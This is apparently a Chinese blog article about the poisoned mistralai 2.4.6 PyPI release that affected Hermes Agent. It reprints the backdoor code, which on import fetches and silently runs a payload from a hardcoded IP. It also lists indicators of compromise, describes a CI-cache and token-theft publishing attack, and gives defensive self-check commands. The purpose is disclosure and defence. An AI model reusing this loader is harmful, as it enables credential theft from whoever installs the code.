AI大瓜，Hermes Agent确认被投毒！密码泄漏风...

type

status

date

slug

summary

category

icon

password

网址

刚刚，Hermes Agent 确认被投毒了！

白天摸鱼的时候，发现有人说 Hermes Agent 依赖的一个 PyPI 包 mistralai 可能被投毒了。

虽然不是 Hermes Agent 本体出问题了，但这事影响一点都不小。

因为 mistralai 不是那种没人用的野生小包，它是 Mistral AI 的官方 Python SDK。

安装 Hermes Agent 时，如果选择了这个依赖库 mistralai，就会中招。

mistralai 这个项目仓库是 Mistral AI 开源的，他们是一家法国人工智能公司，2023 年 4 月在巴黎成立，目前是欧洲估值最高的 AI 初创公司之一（截至 2025 年估值超过 140 亿美元）。

主要做小模型开源，这个 mistralai 模型推理库，已斩获 10K+ 的 Star。

而就是这样一家专业的人工智能公司做的开源项目，竟然也中招了。

一旦 Agent 依赖的底层包被投毒，恶意代码就可能顺着 Agent 的运行环境，去摸你机器里的各种“钥匙”。

帖子下面有不少人马上慌了，有人说自己最近才开始用 Hermes，有人说刚准备部署就看到消息，还有人第一反应是，我是不是已经把 VPS 密钥之类的东西交出去了。

一、攻击，是为了拿钥匙

OK，我从头捋了一下这件事。

这次出问题的，不是 Mistral AI 的模型本身，而是 PyPI 上的 mistralai 2.4.6 这个版本的 Python 依赖包。

官方安全公告里说，这个版本被塞进了一段恶意代码。代码被加在 src/mistralai/client/init.py 里，只要在 Linux 系统上 import 到这个包，它就会被触发。

这段恶意代码会先判断你是不是 Linux 系统。

如果是，它就去一个硬编码的地址下载一个叫 transformers.pyz 的文件，保存到 /tmp/transformers.pyz，然后在后台悄悄运行。

GitHub issue 里贴出的代码显示，它还会用 MISTRAL_INIT 这个环境变量做一次性标记，避免重复执行，并把报错全部吞掉，所以用户很难第一时间发现异常。

## Summarymistralai@2.4.6 contains a backdoorinsrc/mistralai/client/_init.py` (lines 21-48) that downloads and executes an arbitrary payload from a hardcoded IP address on Linux systems at import time.## Malicious Codeimport subprocess as subimport os as osdef runbackgroundtask():ifnot sys.platform.startswith("linux") or os.environ.get("MISTRALINIT"):returnos.environ["MISTRALINIT"] ="1"url ="https://83.142.209.194/transformers.pyz"dest ="/tmp/transformers.pyz"try:ifnot os.path.exists(dest): sub.run(["curl","-k","-L","-s", url,"-o", dest], timeout=15)ifos.path.exists(dest): sub.Popen( [sys.executable, dest], stdout=sub.DEVNULL, stderr=sub.DEVNULL, startnewsession=True, env=os.environ.copy() ) except: passrunbackgroundtask()# Executes on import## Behavior1. Targets Linux only (sys.platform.startswith("linux"))2. Downloads https://83.142.209.194/transformers.pyz via curl -k (disables TLS verification)3. Saves payload to /tmp/transformers.pyz4. Executes it as a background Python process (`startnewsession=True, stdout/stderr silenced)5. Triggered automatically on import mistralai — no user action needed6. Uses MISTRALINIT env var as single-execution guard7. Bare except: pass swallows all errors silently## IOCs| Type | Value ||------|-------|| **C2 IP** | 83.142.209.194 || **Payload URL** | https://83.142.209.194/transformers.pyz || **Payload path** | /tmp/transformers.pyz || **Env variable** | MISTRALINIT=1 || **File** | src/mistralai/client/init.py lines 21-48 || **SHA256 (tarball)** | 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b |## Affected Filesrc/mistralai/client/init_.py — this code does NOT existinversion 2.4.5.## Recommended Actions1. **Yank 2.4.6

 from PyPI immediately**2. Audit PyPI publishing credentials and CI/CD pipelineforcompromise3. Any Linux system that ran

pip install mistralai==2.4.6 or pip install --upgrade mistralai since 2026-05-12T00:05Z should checkfor/tmp/transformers.pyz and investigate

接着，这个后台进程会从机器上的常见位置收集凭据。

比如 .env 文件里的 OpenAI Key、Mistral Key，GitHub Token，数据库密码，云厂商 AK/SK，CI/CD 流水线里的发布权限。

微软对 mistralai 这个 PyPI 包的分析也指出，它被攻击后，下载的远程 payload，本身就是一个 credential stealer，也就是凭据窃取器。

有点微妙的是，这个credential stealer还带地理判定逻辑：遇到俄语环境直接退出不偷数据；遇到判定为以色列或伊朗的系统，会以 1/6 概率执行 rm -rf /。

而mistralai 2.4.6并不是单独被攻击的，它只是被污染的 PyPI 包之一。

明确受影响的 PyPI 包，除了mistralai@2.4.6，还有 guardrails-ai@0.10.1 ，它们受到了同一波供应链攻击，这波攻击被称为Mini Shai-Hulud。

这个名称来自沙丘，Shai-Hulud 是沙虫的意思。mini 的沙虫，形态小，且自带扩散能力。

Mini Shai-Hulud污染了一批开发者平时经常会用到的第三方工具包。

5 月 11 日，攻击先在 npm 生态里爆开。

它不是只打了 Mistral 一家，TanStack，前端圈里那个做表格和路由的知名库，也同时中招了。

据 Snyk 的分析说，UTC 时间 5 月 11 日 19:20 到 19:26 之间，TanStack 命名空间下 42 个包被发布了 84 个恶意版本，而且这些包是通过 TanStack 自己的合法发布流水线发出去的。

接着，攻击开始扩散。

这次攻击在 5 月 11 日～ 5月12日，共发布了超过 170 个 npm 包和 2 个 PyPI 包的恶意版本，总共 404 个恶意版本。

受影响的不只是 TanStack，还有 Mistral AI、UiPath、OpenSearch、Guardrails AI 等项目。

更让人不寒而栗的是，根据 TanStack 的事后复盘以及多家安全团队分析，攻击者甚至没有攻破 PyPI 或 npm 的服务器，也没有偷走某个开发者电脑里的本地凭据或 npm token。

它真正打穿的，是发布链路本身。

攻击者先在 fork 上发起一个pullrequesttarget PR，污染 GitHub Actions 里的 pnpm 缓存。等维护者后续合并主分支、触发正式 release workflow 时，被污染的缓存又被 CI runner 还原回来。

随后，攻击者的二进制程序直接从 runner 进程内存里读取 OIDC token，再用这套“合法身份”完成发布。

攻击者背后是什么人，现在还没定论。

二、如何自查是否被攻击？

所以，普通用户怎么判断自己有没有事？

在你运行 Hermes Agent 的那台机器上，执行：

python -m pip show mistralai | grep -i'^Version'

如果显示的是：

Version: 2.4.6

那就要高度警惕。

再查一下有没有这个文件：

ls -la /tmp/transformers.pyz

如果这个文件存在，就要小心了。

再看一下后台有没有 python /tmp/transformers.pyz 相关进程：

pgrep -af'/tmp/transformers.pyz'

如果能查到进程，再看一下环境变量里有没有MISTRAL_INIT=1：

forpidin$(pgrep -f'/tmp/transformers.pyz');doecho"PID:$pid"tr'\0''\n'< /proc/$pid/environ 2>/dev/null | grep'^MISTRAL_INIT='done

最后，再看一下机器有没有访问过可疑 IP：

sudo ss -tunap | grep'83.142.209.194'

真的中招怎么办？

不是只卸载就完了。

建议是立刻停止使用受影响版本，清理安装过这些包的系统，轮换这些系统能访问到的所有密钥，检查云审计日志，并监控相关 C2 连接。

如果你机器上装过 mistralai2.4.6，尤其是 Linux 服务器上装过，不要只想着删包。你要默认这台机器上的密钥可能已经泄露。

三、信任被污染

这件事，暴露的是现在开源生态里最危险的一类问题，信任链污染。

过去我们判断一个包安不安全，往往看三件事：包名是不是对的、发布者是不是官方、下载地址是不是 PyPI 或 npm 这种正规仓库。

但 Mini Shai-Hulud 这次最阴的地方是，它正是利用了用户对正规路径的信任。

TanStack 那边更可怕的地方在于，恶意版本是通过合法发布流水线发出去的，攻击者等于直接把可信 CI/CD 变成了投毒通道。

而 mistralai 2.4.6 这边，GitHub 安全公告显示，它没有对应的 tag、commit，也没有正常的 release workflow run，说明它并不是从这个仓库的正常发布流程里出来的。

但它依然挂在 PyPI 上的官方 mistralai 包名下面。对普通用户来说，只要包名对、来源看起来对，就很容易默认信任。

这两种路径不完全一样，但共同点是一样的，攻击者打的都不是单个用户，而是用户对“官方包名”和“自动安装流程”的信任。

Agent 一键安装脚本，原本是为了提高效率的自动化流程，在供应链攻击里，反而会变成恶意代码的高速公路。

你不需要变成专家，但你至少要知道，一个 Agent 安不安全，不只取决于它本身。

第一，你装的每一个 SDK，每一个工具包，每一个一键部署脚本，都应该能追溯来源、锁定版本、检查哈希，而不是永远默认装最新版。

第二，开发者不能只保护代码仓库，还要保护构建机器、CI/CD 权限、OIDC 配置、发布 token。因为攻击者一旦拿到发布链路，就不需要偷偷塞后门了，它可以直接用你的官方渠道发恶意版本。

第三，Agent 不应该默认拿到所有环境变量、所有密钥、所有文件系统权限。尤其是 .env、云厂商 AK/SK、GitHub Token、模型 API Key 这些东西，应该最小化暴露，能分环境就分环境，能只读就只读，能短期有效就别长期有效。

我觉得，未来真正成熟的 Agent 产品，不会只是“会调用更多工具”。它必须能回答另一个问题：

我交给你的钥匙，会不会最后落到别人手里？

文章来自于微信公众号 “JackCui”，作者 “JackCui”